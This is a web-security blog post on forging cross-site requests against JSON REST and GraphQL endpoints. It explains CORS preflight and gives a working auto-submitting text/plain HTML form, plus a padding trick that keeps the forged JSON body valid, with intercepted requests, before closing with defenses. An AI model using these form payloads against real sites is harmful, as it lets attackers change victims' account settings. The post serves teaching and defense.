CSRF in GraphQL and REST APIs - Attack and defend JSON endpoints
This blogpost explores how CSRF attacks can be executed against JSON-based endpoints, the role of SOP/CORS preflight mechanism and bypasses that allow attackers to exploit endpoints expecting JSON content.
Cross-Site Request Forgery (CSRF) remains a high severity web security issue, even in the modern APIs that rely mostly on JSON in the request body. While Same-Origin policy (SOP) and Cross-Origin Resource Sharing (CORS) provide some protections, misconfigurations and bypass techniques can leave REST and GraphQL (GQL) endpoints vulnerable.
Same-Origin Policy and Request Forgery
SOP protects against many abuses, it mainly governs if the HTTP response is available to the JavaScript APIs. Moreover, it also restricts how a document or script from one origin can interact with resources from another origin. SOP however, does not prevent all cross-origin requests. For CSRF attacks, SOP alone is insufficient as simple requests are not denied by default.
What is CORS preflight?
The browsers check whether a cross-origin request is safe to send based on certain rules (in case the request is complex), before actually making the request. This is conducted by sending a preflight OPTIONS request which serves to check the site’s CORS configuration. It is an additional security mechanism built in all relevant browsers, as a part of the SOP. Only if the site’s CORS configuration permits the request will the browser forward it to the application.
The request is complex if:
- Method is not GET, POST or HEAD
- Content-Type is not text/plain, application/x-www-form-urlencoded or multipart/form-data
- The request includes custom HTTP headers
Note, that the Content-Type which is application/json is a complex value, meaning browser will perform preflight lookup before sending the actual cross-site request. Applications will often allow arbitrary Content-Type values and only check the request’s body. if this is the case, preflight request can be bypassed by manipulating the Content-Type to any of the 3 mentioned values.
Suppose the attacker wants to forge the following request:
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /change-email HTTP/1.1
Host: site.org
Cookie: session=...
Content-Type: application/json
Content-Length: 25
{
"email":"test@mail.com"
}
HTTP/1.1 200 OK
...
Email is changed!
Restriction in JSON endpoints
If we utilize the Burp’s CSRF PoC generator for the mentioned request we are welcomed with the warning, which mentions that the forged request will have appended equals character, as the PoC utilizes the form parameter value to pass the payload. Because forms are passed as key=value pairs, the parameter’s value will be left empty, thus leaving additional ‘=’ at the end of the request body.
Burp generates the following auto-submit form, which replicates the above request, well mostly:
1
2
3
4
5
6
7
<form action="https://site.org/change-email" method="POST" enctype="text/plain">
<input type="hidden" name="{"email":"test@mail.com"}" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
Note that the enctype attribute is defined. Once the form is submitted the Content-Type will be forced to value defined, thus bypassing the preflight. If we intercept the request generated by the above HTML code, the equals character will be present at the end of the JSON body.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /change-email HTTP/1.1
Host: site.org
Cookie: session=...
Content-Type: text/plain
Content-Length: 28
Origin: http://burpsuite
Referer: http://burpsuite/
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Connection: keep-alive
{"email":"test@mail.com"}=
400 Bad Request
...
Request is not formatted correctly, invalid JSON.
The forged request might not be accepted, as it contains invalid JSON. Some libraries will indeed accept the JSON ‘email’ within the body and that’s great, however others won’t be able to deserialize the JSON string properly, disallowing the completion of the request.
I was wondering how can we get around this hurdle, and increase our chances of successful forgery attack, even with the SOP in the way.
Getting around invalid JSON within request body
Applications often accept additional unused and initially unexpected JSON parameters. Such as the following:
1
2
3
4
5
6
7
8
{
"aditional":"parameter",
"email":"test@mail.com"
}
200 OK
...
Email is changed!
If this is allowed by the backend, what if we combine both the parameter name and value respectively in order to craft a valid JSON sent in a forged request?
Burp Suite CSRF PoC generation is splitting the POST body by using equals character. The first equals it comes across in the body will be used to determine the request’s parameter names and values. Therefore, we will manually add rubbish and random JSON parameter name and value at the beginning of JSON string, making parameter value end with an equals sign.
Burp will generate the following malicious HTML (notice the form name and value are both used):
1
2
3
4
5
6
7
<form action="https://site.org/change-email" method="POST" enctype="text/plain">
<input type="hidden" name="{"aditional":"parameter" value="","email":"test@mail.com"}" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
By intercepting the forged cross-site request, we can see that valid JSON body is submitted:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /change-email HTTP/1.1
Host: site.org
Cookie: session=...
Content-Type: text/plain
Content-Length: 52
Origin: http://burpsuite
Referer: http://burpsuite/
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
{"aditional":"parameter=","email":"test@mail.com"}
200 OK
...
Email is changed!
A simple, yet often more effective technique utilizing existing tooling.
Defense in depth
It is recommended to disallow arbitrary Content-Types, when initially application/json is utilized to query the APIs. This way CORS preflight protection will be applicable and attackers won’t be able to circumvent it. If the response needs to be accessed by different Origin, utilize whitelisting approach in the CORS configuration allowing only trusted Origins to send the request and retrieve the response. Additionally, utilize unpredictable CSRF tokens to fully protect endpoints from forgery. Alternatively, instead of cookie-based sessions JWT tokens passed via Authorization will also protect against this attack.